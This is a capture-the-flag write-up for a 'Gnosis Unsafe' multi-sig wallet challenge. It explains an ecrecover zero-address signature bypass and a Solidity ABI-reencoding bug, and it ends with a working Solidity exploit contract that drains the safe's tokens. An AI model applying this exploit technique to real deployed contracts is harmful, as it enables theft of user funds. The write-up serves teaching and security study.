Gnosis Unsafe

Codebase walkthrough

Safe.sol is a gnosis-safe-like contract. It works like a multi-sig wallet, initially there are three owners:

  • 0x1337

  • 0xdead

  • 0xdeadbeef

and the safe holds 10000e18 grey token. The goal is to steal all the funds from the safe. And you know that no one knows the private key to these 3 addresses, so there must be a bug in the contract itself.

To make a withdraw tx, you first propose a tx by aclling queueTransaction(). Your tx struct data and ECDSA signature v,r,s will be stored in a mapping called queueHashToTimestamp. To actually execute the tx, you then call executeTransaction(). This function checks if you provide at least 3 signatures, then verifies signatures with ecrecover. In the end it transfers asset to an address (_to) specified in your tx struct:

    struct Transaction {
        address signer;
        address to;
        uint256 value;
        bytes data;
    }

There is also a function named vetoTransaction() but it is not used anywhere. Therefore let’s just ignore it.

Bug description

The ecrecover bug

The bug is in executeTransaction(), signature verification logic specifically. This is a well-known bug of ecrecover:

        // @audit-issue ecrecover returns 0 upon failure,
        // so setting transaction.signer = address(0) can bypass signature check
        address signer = ecrecover(
            txHash, 
            v[signatureIndex], 
            r[signatureIndex], 
            s[signatureIndex]
        );
        if (signer != transaction.signer) revert InvalidSignature();

The if check here isn’t sufficient, you must also check transaction.signer ≠ address(0), otherwise attacker can set transaction.signer = address(0), which corresponds to the case when ecrecover fails.

This bug is very easy to spot, but there is a very interesting question that I researched in the past: why does ecrecover return 0 upon failure? Here is how Claude 3.5 answers this question: https://poe.com/s/f7V2ErI3Yoz2n3gvhL6Q

The ABI-reencoding bug

There is one more subtle technical bug in this code:

    function executeTransaction(
        uint8[OWNER_COUNT] calldata v,
        bytes32[OWNER_COUNT] calldata r,
        bytes32[OWNER_COUNT] calldata s,
        Transaction calldata transaction,
        uint256 signatureIndex
    ) external payable returns (bool success, bytes memory returndata) {
        ...
        
        bytes32 queueHash = keccak256(abi.encode(
            transaction,
            v,
            r,
            s
        ));

        uint256 queueTimestamp = queueHashToTimestamp[queueHash];
        if (queueTimestamp == 0) revert TransactionNotQueued();
        ...
    }

Before we execute the tx, transaction.signer must be set to address(0). But that will influence the abi.encode() computation, so queueHash will be a brand new hash and queueHashToTimestamp[queueHash] will be 0.

It turns out there is an ABI-reencoding bug in Solidity <0.8.16:

TL;DR: If the struct contains a dynamic type such as string or bytes, the second packing (abi.encode family) will treat the first entry of this struct as 0. The root cause is aggresive array cleanup.

In the context of this chall, the first packing happens when we send the tx struct as a function argument:

The flow goes into queueTransaction() and triggers the second packing: abi.encode()

Because of the bug, transaction.signer is set to 0 when computing the encoding, therefore queueHash is the same as in solvePart2, even though we modified transaction.signer here:

PoC

In part 1 we propose a withdraw tx by calling queueTransaction(), signer is set to one of the owners, everything is legit. Wait 1 minute to for this block to finalize on chain, then in a future block we modify signer to be address(0) and send modified tx struct to executeTransaction().

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import { Setup, GREY, Safe } from "src/gnosis-unsafe/Setup.sol";
import { ISafe } from "src/gnosis-unsafe/interfaces/ISafe.sol";

contract Exploit {
    Setup setup;

    Safe.Transaction transaction;
    uint8[3] v;
    bytes32[3] r;
    bytes32[3] s;

    constructor(Setup _setup) {
        setup = _setup;
    }

    // Execute this first
    function solvePart1() external {
        // Create transaction that transfers 10,000 GREY tokens out 
        transaction = ISafe.Transaction({
            signer: address(0x1337),
            to: address(setup.grey()),
            value: 0,
            data: abi.encodeCall(GREY.transfer, (msg.sender, 10_000e18))
        });

        // Queue the transaction
        setup.safe().queueTransaction(v, r, s, transaction);
    }

    // Execute this around 1 minute after solvePart1()
    function solvePart2() external {
        // Set the signer to address(0)
        transaction.signer = address(0);

        // Execute the transaction
        setup.safe().executeTransaction(v, r, s, transaction, 0);
    }
}

Last updated